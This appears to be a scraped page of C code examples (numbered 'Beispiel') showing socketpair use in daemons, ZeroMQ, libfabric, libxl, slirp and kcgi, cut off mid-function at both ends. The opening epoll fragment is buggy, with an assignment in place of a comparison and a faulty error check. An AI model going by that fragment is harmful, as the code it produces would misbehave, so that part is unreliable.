	addsig(SIGHUP);
	addsig(SIGCHLD);
	addsig(SIGTERM);
	addsig(SIGINT);

	int stop_server = 0;

	while(!stop_server){

		int number = epoll_wait(epollfd,events,MAX_EVENT_NUMBER,-1);
		if ((number != 0) && ( errno != EINTR)){
			printf ("epoll failed\n");
			strerror(errno);
		}
		int i=0;
		for ( i; i< number; i++){
			int sockfd = events[i].data.fd;
			if (sockfd = listenfd){
				struct sockaddr_in client_address;
				socklen_t client_lenth = sizeof(client_address);
				int connfd = accept(listenfd,(struct sockaddr *)&client_address,&client_lenth);
				addfd(epollfd,connfd);
			}
			else if ((sockfd == pipefd[0]) && (events[i].events & EPOLLIN)){
				int sig;
				char signals[1024];
				ret = recv(pipefd[0],signals,sizeof(signals),0);
				if (ret == -1){
					continue;
				}
				else if(ret == 0){
					continue;
				}
				else{
					int i;
					for ( i=0;i<ret;++i){
						printf("sig no occured is %d",signals[i]);
						if (signals[i] == SIGINT){
							stop_server = 1;
						}
					}
				}
			}

		}
		}
	printf("close fds\n");
	close(listenfd);
	close(pipefd[0]);
	close(pipefd[1]);
	return 0;
}
Beispiel #18
0
void ps_control_create_daemon(void)
{
    int fd_initdata[2];

    ps_log(0, LOG_INFO("creating daemon"));
    ps_safe_to_change_name=(strcmp(ps_program_name,"psc") == 0) ? 1 : 0;

    if (socketpair(AF_UNIX, SOCK_SEQPACKET, 0, fd_initdata) == -1)
        ps_log(EXIT_FAILURE, LOG_ERROR("failed to create socketpair for daemon initialization - error [%s]"), strerror(errno));

    // become a child of the init process by forking and closing the parent process.

    switch (fork())
    {
        case -1:
            ps_log(EXIT_FAILURE, LOG_ERROR("unable to create daemon - fork 1"));

        case 0:
            // become the leader of new session

            if (setsid() == -1)
                return;

            // do another fork to prevent the daemon to open a controlling terminal in the future.
            // use the clone() function to create new PID and UTS namespaces for the child.

            long stack_size = 4*sysconf(_SC_PAGESIZE);
            char *stack;
            int  pid_daemon;

            if (!(stack = malloc(stack_size)))
                ps_log(EXIT_FAILURE, LOG_ERROR("failed to allocate stack"));

            pid_daemon=clone(ps_daemon_main_wrapper, stack+stack_size, CLONE_NEWPID | CLONE_NEWUTS | SIGCHLD, (void *) (fd_initdata+1));

            close(fd_initdata[1]);

            if (pid_daemon == -1)
                ps_log(EXIT_FAILURE, LOG_ERROR("unable to create daemon - fork 2"));

            // send a message to the newly created daemon

            if (write(fd_initdata[0], &pid_daemon, sizeof(pid_daemon)) == -1)
                ps_log(EXIT_FAILURE, LOG_ERROR("failed to send daemon pid to daemon - error [%s]"), strerror(errno));

            _exit(EXIT_SUCCESS);

        default:
            // wait for daemon response

            close(fd_initdata[1]);

            int read_count=read(fd_initdata[0], &ps_pid, sizeof(ps_pid));

            if (read_count < sizeof(ps_pid))
                ps_pid=0;

            sprintf(ps_buffer,"%d\n", ps_pid);
            write(STDOUT_FILENO, ps_buffer, strlen(ps_buffer));

            if (read_count < sizeof(ps_pid))
                ps_log(EXIT_FAILURE, LOG_ERROR("did not receive daemon pid"));

            // daemon created and ready to accept connections
            ps_log(0, LOG_INFO("ps_pid [%d]"), ps_pid);
    }
}
Beispiel #19
0
//  Returns -1 if we could not make the socket pair successfully
int zmq::signaler_t::make_fdpair (fd_t *r_, fd_t *w_)
{
#if defined ZMQ_HAVE_EVENTFD
    fd_t fd = eventfd (0, 0);
    if (fd == -1) {
        errno_assert (errno == ENFILE || errno == EMFILE);
        *w_ = *r_ = -1;
        return -1;
    }
    else {
        *w_ = *r_ = fd;
        return 0;
    }

#elif defined ZMQ_HAVE_WINDOWS
#   if !defined _WIN32_WCE
    // Windows CE does not manage security attributes
    SECURITY_DESCRIPTOR sd;
    SECURITY_ATTRIBUTES sa;
    memset (&sd, 0, sizeof (sd));
    memset (&sa, 0, sizeof (sa));

    InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
    SetSecurityDescriptorDacl(&sd, TRUE, 0, FALSE);

    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = &sd;
#   endif

    //  This function has to be in a system-wide critical section so that
    //  two instances of the library don't accidentally create signaler
    //  crossing the process boundary.
    //  We'll use named event object to implement the critical section.
    //  Note that if the event object already exists, the CreateEvent requests
    //  EVENT_ALL_ACCESS access right. If this fails, we try to open
    //  the event object asking for SYNCHRONIZE access only.
    HANDLE sync = NULL;

    //  Create critical section only if using fixed signaler port
    //  Use problematic Event implementation for compatibility if using old port 5905.
    //  Otherwise use Mutex implementation.
    int event_signaler_port = 5905;

    if (signaler_port == event_signaler_port) {
#       if !defined _WIN32_WCE
        sync = CreateEvent (&sa, FALSE, TRUE, TEXT ("Global\\zmq-signaler-port-sync"));
#       else
        sync = CreateEvent (NULL, FALSE, TRUE, TEXT ("Global\\zmq-signaler-port-sync"));
#       endif
        if (sync == NULL && GetLastError () == ERROR_ACCESS_DENIED)
            sync = OpenEvent (SYNCHRONIZE | EVENT_MODIFY_STATE,
                              FALSE, TEXT ("Global\\zmq-signaler-port-sync"));

        win_assert (sync != NULL);
    }
    else if (signaler_port != 0) {
        TCHAR mutex_name[64];
        _stprintf (mutex_name, TEXT ("Global\\zmq-signaler-port-%d"), signaler_port);

#       if !defined _WIN32_WCE
        sync = CreateMutex (&sa, FALSE, mutex_name);
#       else
        sync = CreateMutex (NULL, FALSE, mutex_name);
#       endif
        if (sync == NULL && GetLastError () == ERROR_ACCESS_DENIED)
            sync = OpenMutex (SYNCHRONIZE, FALSE, mutex_name);

        win_assert (sync != NULL);
    }

    //  Windows has no 'socketpair' function. CreatePipe is no good as pipe
    //  handles cannot be polled on. Here we create the socketpair by hand.
    *w_ = INVALID_SOCKET;
    *r_ = INVALID_SOCKET;

    //  Create listening socket.
    SOCKET listener;
    listener = open_socket (AF_INET, SOCK_STREAM, 0);
    wsa_assert (listener != INVALID_SOCKET);

    //  Set SO_REUSEADDR and TCP_NODELAY on listening socket.
    BOOL so_reuseaddr = 1;
    int rc = setsockopt (listener, SOL_SOCKET, SO_REUSEADDR,
        (char *)&so_reuseaddr, sizeof (so_reuseaddr));
    wsa_assert (rc != SOCKET_ERROR);
    BOOL tcp_nodelay = 1;
    rc = setsockopt (listener, IPPROTO_TCP, TCP_NODELAY,
        (char *)&tcp_nodelay, sizeof (tcp_nodelay));
    wsa_assert (rc != SOCKET_ERROR);

    //  Init sockaddr to signaler port.
    struct sockaddr_in addr;
    memset (&addr, 0, sizeof (addr));
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = htonl (INADDR_LOOPBACK);
    addr.sin_port = htons (signaler_port);

    //  Create the writer socket.
    *w_ = open_socket (AF_INET, SOCK_STREAM, 0);
    wsa_assert (*w_ != INVALID_SOCKET);

    //  Set TCP_NODELAY on writer socket.
    rc = setsockopt (*w_, IPPROTO_TCP, TCP_NODELAY,
        (char *)&tcp_nodelay, sizeof (tcp_nodelay));
    wsa_assert (rc != SOCKET_ERROR);

    if (sync != NULL) {
        //  Enter the critical section.
        DWORD dwrc = WaitForSingleObject (sync, INFINITE);
        zmq_assert (dwrc == WAIT_OBJECT_0 || dwrc == WAIT_ABANDONED);
    }

    //  Bind listening socket to signaler port.
    rc = bind (listener, (const struct sockaddr*) &addr, sizeof (addr));

    if (rc != SOCKET_ERROR && signaler_port == 0) {
        //  Retrieve ephemeral port number
        int addrlen = sizeof (addr);
        rc = getsockname (listener, (struct sockaddr*) &addr, &addrlen);
    }

    //  Listen for incoming connections.
    if (rc != SOCKET_ERROR)
        rc = listen (listener, 1);

    //  Connect writer to the listener.
    if (rc != SOCKET_ERROR)
        rc = connect (*w_, (struct sockaddr*) &addr, sizeof (addr));

    //  Accept connection from writer.
    if (rc != SOCKET_ERROR)
        *r_ = accept (listener, NULL, NULL);

    //  Save errno if error occurred in bind/listen/connect/accept.
    int saved_errno = 0;
    if (*r_ == INVALID_SOCKET)
        saved_errno = WSAGetLastError ();

    //  We don't need the listening socket anymore. Close it.
    closesocket (listener);

    if (sync != NULL) {
        //  Exit the critical section.
        BOOL brc;
        if (signaler_port == event_signaler_port)
            brc = SetEvent (sync);
        else
            brc = ReleaseMutex (sync);
        win_assert (brc != 0);

        //  Release the kernel object
        brc = CloseHandle (sync);
        win_assert (brc != 0);
    }

    if (*r_ != INVALID_SOCKET) {
#   if !defined _WIN32_WCE
        //  On Windows, preventing sockets to be inherited by child processes.
        BOOL brc = SetHandleInformation ((HANDLE) *r_, HANDLE_FLAG_INHERIT, 0);
        win_assert (brc);
#   endif
        return 0;
    }
    else {
        //  Cleanup writer if connection failed
        if (*w_ != INVALID_SOCKET) {
            rc = closesocket (*w_);
            wsa_assert (rc != SOCKET_ERROR);
            *w_ = INVALID_SOCKET;
        }
        //  Set errno from saved value
        errno = wsa_error_to_errno (saved_errno);
        return -1;
    }

#elif defined ZMQ_HAVE_OPENVMS

    //  Whilst OpenVMS supports socketpair - it maps to AF_INET only.  Further,
    //  it does not set the socket options TCP_NODELAY and TCP_NODELACK which
    //  can lead to performance problems.
    //
    //  The bug will be fixed in V5.6 ECO4 and beyond.  In the meantime, we'll
    //  create the socket pair manually.
    struct sockaddr_in lcladdr;
    memset (&lcladdr, 0, sizeof (lcladdr));
    lcladdr.sin_family = AF_INET;
    lcladdr.sin_addr.s_addr = htonl (INADDR_LOOPBACK);
    lcladdr.sin_port = 0;

    int listener = open_socket (AF_INET, SOCK_STREAM, 0);
    errno_assert (listener != -1);

    int on = 1;
    int rc = setsockopt (listener, IPPROTO_TCP, TCP_NODELAY, &on, sizeof (on));
    errno_assert (rc != -1);

    rc = setsockopt (listener, IPPROTO_TCP, TCP_NODELACK, &on, sizeof (on));
    errno_assert (rc != -1);

    rc = bind (listener, (struct sockaddr*) &lcladdr, sizeof (lcladdr));
    errno_assert (rc != -1);

    socklen_t lcladdr_len = sizeof (lcladdr);

    rc = getsockname (listener, (struct sockaddr*) &lcladdr, &lcladdr_len);
    errno_assert (rc != -1);

    rc = listen (listener, 1);
    errno_assert (rc != -1);

    *w_ = open_socket (AF_INET, SOCK_STREAM, 0);
    errno_assert (*w_ != -1);

    rc = setsockopt (*w_, IPPROTO_TCP, TCP_NODELAY, &on, sizeof (on));
    errno_assert (rc != -1);

    rc = setsockopt (*w_, IPPROTO_TCP, TCP_NODELACK, &on, sizeof (on));
    errno_assert (rc != -1);

    rc = connect (*w_, (struct sockaddr*) &lcladdr, sizeof (lcladdr));
    errno_assert (rc != -1);

    *r_ = accept (listener, NULL, NULL);
    errno_assert (*r_ != -1);

    close (listener);

    return 0;

#else
    // All other implementations support socketpair()
    int sv [2];
    int rc = socketpair (AF_UNIX, SOCK_STREAM, 0, sv);
    if (rc == -1) {
        errno_assert (errno == ENFILE || errno == EMFILE);
        *w_ = *r_ = -1;
        return -1;
    }
    else {
        *w_ = sv [0];
        *r_ = sv [1];
        return 0;
    }
#endif
}
Beispiel #20
0
static int __nc_ipcs_table_init(
    struct nc_ipcs_table *tbl,
    const char *iface_name,
    int dhcp_fd,
    int get_fd,
    int wire_cnt,
    int wireless_enable
)
{
    int i;
    int ret = -1;

    memset(tbl, 0, sizeof(*tbl));
    strcpy(tbl->iface_name, iface_name);

    tbl->init_fds[0] = -1;
    tbl->init_fds[1] = -1;

    ret = socketpair(AF_UNIX, SOCK_DGRAM, 0, tbl->init_fds);
    if (ret < 0)
    {
        st_err("socketpair failed:%d!\n", errno);
        perror("socketpair");
        return -1;
    }

    tbl->dhcp_fd = dhcp_fd;
    tbl->get_fd = get_fd;
    pthread_mutex_init(&tbl->tbl_lock, NULL);
    tbl->wire_cnt = wire_cnt;
    tbl->wire_ipcs = (struct nc_ipcs_table_item *)calloc(
                         tbl->wire_cnt,
                         sizeof(*tbl->wire_ipcs)
                     );
    if (!tbl->wire_ipcs)
    {
        goto error;
    }

    for (i = 0; i < tbl->wire_cnt; ++i)
    {
        tbl->wire_ipcs[i].port = i;
        tbl->wire_ipcs[i].alive_sec = -1;
    }

    tbl->wireless_enable = wireless_enable;
    if (tbl->wireless_enable)
    {
        tbl->wireless_ipcs = (struct nc_ipcs_table_item *)calloc(
                                 NC_WIRELESS_SZ,
                                 sizeof(*tbl->wireless_ipcs)
                             );
        if (!tbl->wireless_ipcs)
        {
            goto error;
        }
    }
    if (tbl->wireless_enable)
    {
        for (i = 0; i < NC_WIRELESS_SZ; ++i)
        {
            tbl->wireless_ipcs[i].port = -1;
            tbl->wireless_ipcs[i].alive_sec = -1;
        }
    }
    return 0;
error:
    if (tbl->wireless_ipcs)
    {
        free(tbl->wireless_ipcs);
        tbl->wireless_ipcs = NULL;
    }

    if (tbl->wire_ipcs)
    {
        free(tbl->wire_ipcs);
        tbl->wire_ipcs = NULL;
    }

    pthread_mutex_destroy(&tbl->tbl_lock);

    close(tbl->init_fds[0]);
    tbl->init_fds[0] = -1;
    close(tbl->init_fds[1]);
    tbl->init_fds[1] = -1;

    return -1;
}
Beispiel #21
0
int sock_alloc_endpoint(struct fid_domain *domain, struct fi_info *info,
		  struct sock_ep **ep, void *context, size_t fclass)
{	
	int ret, flags;
	struct sock_ep *sock_ep;
	struct sock_tx_ctx *tx_ctx;
	struct sock_rx_ctx *rx_ctx;
	struct sock_domain *sock_dom;

	if (info) {
		ret = sock_verify_info(info);
		if (ret) {
			SOCK_LOG_INFO("Cannot support requested options!\n");
			return -FI_EINVAL;
		}
	}

	sock_dom = container_of(domain, struct sock_domain, dom_fid);
	sock_ep = (struct sock_ep*)calloc(1, sizeof(*sock_ep));
	if (!sock_ep)
		return -FI_ENOMEM;

	switch (fclass) {
	case FI_CLASS_EP:
		sock_ep->ep.fid.fclass = FI_CLASS_EP;
		sock_ep->ep.fid.context = context;	
		sock_ep->ep.fid.ops = &sock_ep_fi_ops;
		
		sock_ep->ep.ops = &sock_ep_ops;
		sock_ep->ep.cm = &sock_ep_cm_ops;
		sock_ep->ep.msg = &sock_ep_msg_ops;
		sock_ep->ep.rma = &sock_ep_rma;
		sock_ep->ep.tagged = &sock_ep_tagged;
		sock_ep->ep.atomic = &sock_ep_atomic;
		break;

	case FI_CLASS_SEP:
		sock_ep->ep.fid.fclass = FI_CLASS_SEP;
		sock_ep->ep.fid.context = context;	
		sock_ep->ep.fid.ops = &sock_ep_fi_ops;
		
		sock_ep->ep.ops = &sock_ep_ops;
		sock_ep->ep.cm = &sock_ep_cm_ops;
		break;

	default:
		goto err;
	}

	sock_ep->fclass = fclass;
	*ep = sock_ep;	

	fastlock_acquire(&sock_dom->lock);
	fastlock_release(&sock_dom->lock);

	if (info) {
		sock_ep->info.caps = info->caps;
		sock_ep->info.addr_format = FI_SOCKADDR_IN;

		if (info->ep_attr) {
			sock_ep->ep_type = info->ep_attr->type;
			sock_ep->ep_attr.tx_ctx_cnt = info->ep_attr->tx_ctx_cnt;
			sock_ep->ep_attr.rx_ctx_cnt = info->ep_attr->rx_ctx_cnt;
		}
		
		if (info->src_addr) {
			sock_ep->src_addr = calloc(1, sizeof(struct sockaddr_in));
			memcpy(sock_ep->src_addr, info->src_addr, 
			       sizeof(struct sockaddr_in));
		}
		
		if (info->dest_addr) {
			sock_ep->dest_addr = calloc(1, sizeof(struct sockaddr_in));
			memcpy(sock_ep->dest_addr, info->dest_addr, 
			       sizeof(struct sockaddr_in));
		}
		
		if (info->tx_attr) {
			sock_ep->tx_attr = *info->tx_attr;
			sock_ep->op_flags = info->tx_attr->op_flags;
			sock_ep->tx_attr.size = sock_ep->tx_attr.size ?
				sock_ep->tx_attr.size : 
				(SOCK_EP_TX_SZ * SOCK_EP_TX_ENTRY_SZ);
		}
		
		if (info->rx_attr) {
			sock_ep->rx_attr = *info->rx_attr;
			sock_ep->op_flags |= info->rx_attr->op_flags;
			sock_ep->rx_attr.total_buffered_recv = 
				sock_ep->rx_attr.total_buffered_recv ?
				sock_ep->rx_attr.total_buffered_recv : 
				SOCK_EP_MAX_BUFF_RECV;
		}
		sock_ep->info.connreq = info->connreq;
	}
	
	atomic_init(&sock_ep->ref, 0);
	atomic_init(&sock_ep->num_tx_ctx, 0);
	atomic_init(&sock_ep->num_rx_ctx, 0);

	if (sock_ep->ep_attr.tx_ctx_cnt == FI_SHARED_CONTEXT)
		sock_ep->tx_shared = 1;
	if (sock_ep->ep_attr.rx_ctx_cnt == FI_SHARED_CONTEXT)
		sock_ep->rx_shared = 1;

	if (sock_ep->fclass != FI_CLASS_SEP) {
		sock_ep->ep_attr.tx_ctx_cnt = 1;
		sock_ep->ep_attr.rx_ctx_cnt = 1;
	}

	sock_ep->tx_array = calloc(sock_ep->ep_attr.tx_ctx_cnt, 
				   sizeof(struct sock_tx_ctx *));
	
	sock_ep->rx_array = calloc(sock_ep->ep_attr.rx_ctx_cnt,
				   sizeof(struct sock_rx_ctx *));

	if (sock_ep->fclass != FI_CLASS_SEP &&
	    sock_ep->ep_attr.tx_ctx_cnt != FI_SHARED_CONTEXT) {
		/* default tx ctx */
		tx_ctx = sock_tx_ctx_alloc(&sock_ep->tx_attr, context);
		tx_ctx->ep = sock_ep;
		tx_ctx->domain = sock_dom;
		tx_ctx->tx_id = 0;
		dlist_insert_tail(&sock_ep->tx_ctx_entry, &tx_ctx->ep_list);
		sock_ep->tx_array[0] = tx_ctx;
		sock_ep->tx_ctx = tx_ctx;
	}

	if (sock_ep->fclass != FI_CLASS_SEP &&
	    sock_ep->ep_attr.rx_ctx_cnt != FI_SHARED_CONTEXT) {
		/* default rx_ctx */
		rx_ctx = sock_rx_ctx_alloc(&sock_ep->rx_attr, context);
		rx_ctx->ep = sock_ep;
		rx_ctx->domain = sock_dom;
		rx_ctx->rx_id = 0;
		dlist_insert_tail(&sock_ep->rx_ctx_entry, &rx_ctx->ep_list);
		sock_ep->rx_array[0] = rx_ctx;
		sock_ep->rx_ctx = rx_ctx;
	}
	
	/* default config */
	sock_ep->min_multi_recv = SOCK_EP_MIN_MULTI_RECV;
	
	if (info) {
		memcpy(&sock_ep->info, info, sizeof(struct fi_info));
	}

  	sock_ep->domain = sock_dom;
	if (sock_conn_listen(sock_ep))
		goto err;

	if (sock_ep->ep_type == FI_EP_MSG) {
		dlist_init(&sock_ep->cm.msg_list);
		if (socketpair(AF_UNIX, SOCK_STREAM, 0, 
			       sock_ep->cm.signal_fds) < 0)
			goto err;

		flags = fcntl(sock_ep->cm.signal_fds[1], F_GETFL, 0);
		if (fcntl(sock_ep->cm.signal_fds[1], F_SETFL, flags | O_NONBLOCK))
			SOCK_LOG_ERROR("fcntl failed");
	}

	atomic_inc(&sock_dom->ref);
	return 0;
	
err:
	free(sock_ep);
	return -FI_EINVAL;
}
Beispiel #22
0
int libxl__openptys(libxl__openpty_state *op,
                    struct termios *termp,
                    struct winsize *winp) {
    /*
     * This is completely crazy.  openpty calls grantpt which the spec
     * says may fork, and may not be called with a SIGCHLD handler.
     * Now our application may have a SIGCHLD handler so that's bad.
     * We could perhaps block it but we'd need to block it on all
     * threads.  This is just Too Hard.
     *
     * So instead, we run openpty in a child process.  That child
     * process then of course has only our own thread and our own
     * signal handlers.  We pass the fds back.
     *
     * Since our only current caller actually wants two ptys, we
     * support calling openpty multiple times for a single fork.
     */
    STATE_AO_GC(op->ao);
    int count = op->count;
    int r, i, rc, sockets[2], ptyfds[count][2];
    libxl__carefd *for_child = 0;
    pid_t pid = -1;

    for (i=0; i<count; i++) {
        ptyfds[i][0] = ptyfds[i][1] = -1;
        libxl__openpty_result *res = &op->results[i];
        assert(!res->master);
        assert(!res->slave);
    }
    sockets[0] = sockets[1] = -1; /* 0 is for us, 1 for our child */

    libxl__carefd_begin();
    r = socketpair(AF_UNIX, SOCK_STREAM, 0, sockets);
    if (r) { sockets[0] = sockets[1] = -1; }
    for_child = libxl__carefd_opened(CTX, sockets[1]);
    if (r) { LOGE(ERROR,"socketpair failed"); rc = ERROR_FAIL; goto out; }

    pid = libxl__ev_child_fork(gc, &op->child, openpty_exited);
    if (pid == -1) {
        rc = ERROR_FAIL;
        goto out;
    }

    if (!pid) {
        /* child */
        close(sockets[0]);
        signal(SIGCHLD, SIG_DFL);

        for (i=0; i<count; i++) {
            r = openpty(&ptyfds[i][0], &ptyfds[i][1], NULL, termp, winp);
            if (r) { LOGE(ERROR,"openpty failed"); _exit(-1); }
        }
        rc = libxl__sendmsg_fds(gc, sockets[1], "",1,
                                2*count, &ptyfds[0][0], "ptys");
        if (rc) { LOGE(ERROR,"sendmsg to parent failed"); _exit(-1); }
        _exit(0);
    }

    libxl__carefd_close(for_child);
    for_child = 0;

    /* this should be fast so do it synchronously */

    libxl__carefd_begin();
    char buf[1];
    rc = libxl__recvmsg_fds(gc, sockets[0], buf,1,
                            2*count, &ptyfds[0][0], "ptys");
    if (!rc) {
        for (i=0; i<count; i++) {
            libxl__openpty_result *res = &op->results[i];
            res->master = libxl__carefd_record(CTX, ptyfds[i][0]);
            res->slave =  libxl__carefd_record(CTX, ptyfds[i][1]);
        }
    }
    /* now the pty fds are in the carefds, if they were ever open */
    libxl__carefd_unlock();
    if (rc)
        goto out;

    rc = 0;

 out:
    if (sockets[0] >= 0) close(sockets[0]);
    libxl__carefd_close(for_child);
    if (libxl__ev_child_inuse(&op->child)) {
        op->rc = rc;
        /* we will get a callback when the child dies */
        return 0;
    }

    assert(rc);
    openpty_cleanup(op);
    return rc;
}
static void test_sendmsg_recvmsg_fd(void **state)
{
	int sv[2];
	int child_fd, parent_fd;
	int rc;
	pid_t pid;

	(void) state; /* unused */

	rc = socketpair(AF_LOCAL, SOCK_STREAM, 0, sv);
	assert_int_not_equal(rc, -1);

	parent_fd = sv[0];
	child_fd = sv[1];

	pid = fork();
	assert_int_not_equal(pid, -1);

	if (pid == 0) {
		/* Child */
		struct msghdr child_msg;
		char cmsgbuf[CMSG_SPACE(sizeof(int))];
		struct cmsghdr *cmsg;
		int rcv_fd;
		char buf[8];
		int i;

		memset(&child_msg, 0, sizeof(child_msg));
		child_msg.msg_control = cmsgbuf;
		child_msg.msg_controllen = sizeof(cmsgbuf);

		do {
			errno = 0;
			rc = recvmsg(child_fd, &child_msg, 0);
		} while (errno == EAGAIN || errno == EWOULDBLOCK);
		assert_int_not_equal(rc, -1);

		cmsg = CMSG_FIRSTHDR(&child_msg);
		assert_non_null(cmsg);
		assert_int_equal(cmsg->cmsg_type, SCM_RIGHTS);

		memcpy(&rcv_fd, CMSG_DATA(cmsg), sizeof(rcv_fd));
		assert_int_not_equal(rcv_fd, -1);

		rc = read(rcv_fd, buf, sizeof(buf));
		assert_int_not_equal(rc, -1);
		for (i = 0; i < 8; i++) {
			assert_int_equal(buf[i], 0);
		}
		exit(0);
	} else {
		/* Parent */
		int pass_fd;
		struct msghdr parent_msg;
		struct cmsghdr *cmsg;
		char cmsgbuf[CMSG_SPACE(sizeof(pass_fd))];
		char byte = '!';
		struct iovec iov;
		int cs;

		pass_fd = open("/dev/zero", O_RDONLY);
		assert_int_not_equal(pass_fd, -1);

		iov.iov_base = &byte;
		iov.iov_len = 1;

		memset(&parent_msg, 0, sizeof(parent_msg));
		parent_msg.msg_iov = &iov;
		parent_msg.msg_iovlen = 1;
		parent_msg.msg_control = cmsgbuf;
		parent_msg.msg_controllen = sizeof(cmsgbuf);

		cmsg = CMSG_FIRSTHDR(&parent_msg);
		cmsg->cmsg_level = SOL_SOCKET;
		cmsg->cmsg_type = SCM_RIGHTS;
		cmsg->cmsg_len = CMSG_LEN(sizeof(pass_fd));

		memcpy(CMSG_DATA(cmsg), &pass_fd, sizeof(pass_fd));
		parent_msg.msg_controllen = cmsg->cmsg_len;

		rc = sendmsg(parent_fd, &parent_msg, 0);
		assert_int_not_equal(rc, -1);

		alarm(5);	    /* 5 seconds timeout for the child */
		rc = waitpid(pid, &cs, 0);
		assert_int_not_equal(rc, -1);
	}
}
Beispiel #24
0
/*
 * invoke RSH
 */
int rsh_exec(struct socket *so, struct socket *ns,
	char *user, char *host, char *args)
{
	int fd[2];
	int fd0[2];
	int s;
	char buff[256];
	
	DEBUG_CALL("rsh_exec");
	DEBUG_ARG("so = %lx", (long)so);
	
	if (pipe(fd)<0) {
          lprint("Error: pipe failed: %s\n", strerror(errno));
          return 0;
	}
/* #ifdef HAVE_SOCKETPAIR */
#if 1
        if (socketpair(PF_UNIX,SOCK_STREAM,0, fd0) == -1) {
          close(fd[0]);
          close(fd[1]);
          lprint("Error: openpty failed: %s\n", strerror(errno));
          return 0;
        }
#else
        if (slirp_openpty(&fd0[0], &fd0[1]) == -1) {
          close(fd[0]);
          close(fd[1]);
          lprint("Error: openpty failed: %s\n", strerror(errno));
          return 0;
        }
#endif
	
	switch(fork()) {
	 case -1:
           lprint("Error: fork failed: %s\n", strerror(errno));
           close(fd[0]);
           close(fd[1]);
           close(fd0[0]);
           close(fd0[1]);
           return 0;
           
	 case 0:
           close(fd[0]);
           close(fd0[0]);
           
		/* Set the DISPLAY */
           if (x_port >= 0) {
#ifdef HAVE_SETENV
             sprintf(buff, "%s:%d.%d", inet_ntoa(our_addr), x_port, x_screen);
             setenv("DISPLAY", buff, 1);
#else
             sprintf(buff, "DISPLAY=%s:%d.%d", inet_ntoa(our_addr), x_port, x_screen);
             putenv(buff);
#endif
           }
           
           dup2(fd0[1], 0);
           dup2(fd0[1], 1);
           dup2(fd[1], 2);
           for (s = 3; s <= 255; s++)
             close(s);
           
           execlp("rsh","rsh","-l", user, host, args, NULL);
           
           /* Ooops, failed, let's tell the user why */
           
           sprintf(buff, "Error: execlp of %s failed: %s\n", 
                   "rsh", strerror(errno));
           write(2, buff, strlen(buff)+1);
           close(0); close(1); close(2); /* XXX */
           exit(1);
           
        default:
          close(fd[1]);
          close(fd0[1]);
          ns->s=fd[0];
          so->s=fd0[0];
          
          return 1;
	}
}
Beispiel #25
0
/*
 * Broker a CGI process child.
 * Return zero on failure and non-zero on success.
 */
static int
dochild_cgi(kcgi_regress_server child, void *carg)
{
	int		 in, fd[2], rc;
	const char	*msg;
	pid_t		 pid;
	char		*vec, *end, *start, *cp, *ovec;
	size_t		 vecsz, headsz;
	void		*pp;
	char		 buf[BUFSIZ];
	ssize_t		 ssz;

	if (-1 == (in = dochild_prepare())) 
		return(0);

	/*
	 * We need to do some filtering from the CGI script's output
	 * (just its Status message), so create a socketpair which we'll
	 * use to scrub its output.
	 * This is because the CGI protocol is stupid: it would have
	 * been a lot easier to just require an HTTP status message, but
	 * I guess the intent was to make the web server worry about
	 * formatting for various versions of HTTP.
	 * Whatever.
	 */

	if (-1 == socketpair(PF_LOCAL, SOCK_STREAM, 0, fd)) {
		perror("socketpair");
		close(in);
		return(0);
	} 

	/* Launch the actual CGI process. */

	if (-1 == (pid = fork())) {
		perror("fork");
		close(fd[0]);
		close(fd[1]);
		close(in);
		return(0);
	} else if (0 == pid) {
		close(fd[1]);
		/*
		 * First, we suck down the HTTP headeres into our CGI
		 * environment and run the child.
		 * Next, re-assign our stdin to be the server's file
		 * descriptor "in".
		 * Then assign our stdout to be fd[0].
		 */

		if ( ! dochild_params(in, NULL, NULL, 
		    dochild_params_cgi)) {
			close(in);
			close(fd[0]);
			return(0);
		}

		if (STDIN_FILENO != dup2(in, STDIN_FILENO)) {
			perror("dup2");
			close(in);
			close(fd[0]);
			_exit(EXIT_FAILURE);
		} 
		close(in);

		if (STDOUT_FILENO != dup2(fd[0], STDOUT_FILENO)) {
			perror("dup2");
			close(fd[0]);
			return(0);
		} 
		close(fd[0]);

		child(carg);
		_exit(in ? EXIT_SUCCESS : EXIT_FAILURE);
	}

	/*
	 * We're in the parent.
	 * Read and buffer the output of the CGI process until we get
	 * its Status value.
	 * Do so by copying through a static buffer into a growable
	 * vector that we'll scan for the Status message to re-write.
	 * Of course, if the CGI process is ill-designed, we'll consume
	 * all of our memory and die.
	 */

	close(fd[0]);
	vecsz = 0;
	vec = end = NULL;
	rc = 0;

	while ((ssz = read(fd[1], buf, sizeof(buf))) > 0) {
		pp = realloc(vec, vecsz + ssz);
		if (NULL == pp) {
			perror("realloc");
			goto out;
		}
		vec = pp;
		memcpy(vec + vecsz, buf, ssz);
		vecsz += ssz;
		end = memmem(vec, vecsz, "\r\n\r\n", 4);
		if (NULL != end)
			break;
	}

	if (ssz < 0) {
		perror("read");
		goto out;
	}

	/*
	 * Now all our headers are in vec plus extra; of if it's NULL,
	 * we reached the end of input without getting headers.
	 * Now we start to scan for the status line or dump.
	 */

	if (NULL != end) {
		/* Look for the status field. */

		headsz = (size_t)(end - vec);
		start = memmem(vec, headsz, "Status:", 7);
		if (NULL == start) {
			/*
			 * No status field.
			 * This is Ok (according to CGI).
			 * However, we do not provide a valid status, so
			 * do what others do and 200 it.
			 */

			msg = "HTTP/1.1 200 OK\r\n";
			if ( ! nb_write(in, msg, strlen(msg)))
				goto out;
			fprintf(stderr, "CGI script did "
				"not specify status\n");
			ovec = vec;
		} else {
			/*
			 * We found the status.
			 * Print it out now, then everything that came
			 * before it.
			 */

			msg = "HTTP/1.1";
			if ( ! nb_write(in, msg, strlen(msg)))
				goto out;
			cp = start + 7;
			while (cp < end) {
				if ( ! nb_write(in, cp, 1))
					goto out;
				cp++;
				if ('\n' == cp[-1])
					break;
			}
			if ( ! nb_write(in, vec, (size_t)(start - vec)))
				goto out;
			vecsz -= (cp - vec);
			ovec = cp;
		}

		/*
		 * Print everything else in our vector array, then poll
		 * on the CGI script til its dry.
		 */

		if ( ! nb_write(in, ovec, vecsz))
			goto out;

		while ((ssz = read(fd[1], buf, sizeof(buf))) > 0)
			if ( ! nb_write(in, buf, ssz))
				goto out;

		if (ssz < 0) {
			perror("read");
			goto out;
		}
	} else {
		if ( ! nb_write(in, vec, vecsz))
			goto out;
		fprintf(stderr, "CGI script did "
			"not terminate headers\n");
	} 

	rc = 1;
out:
	if (-1 == waitpid(pid, NULL, 0))
		perror("waitpid");

	free(vec);
	close(in);
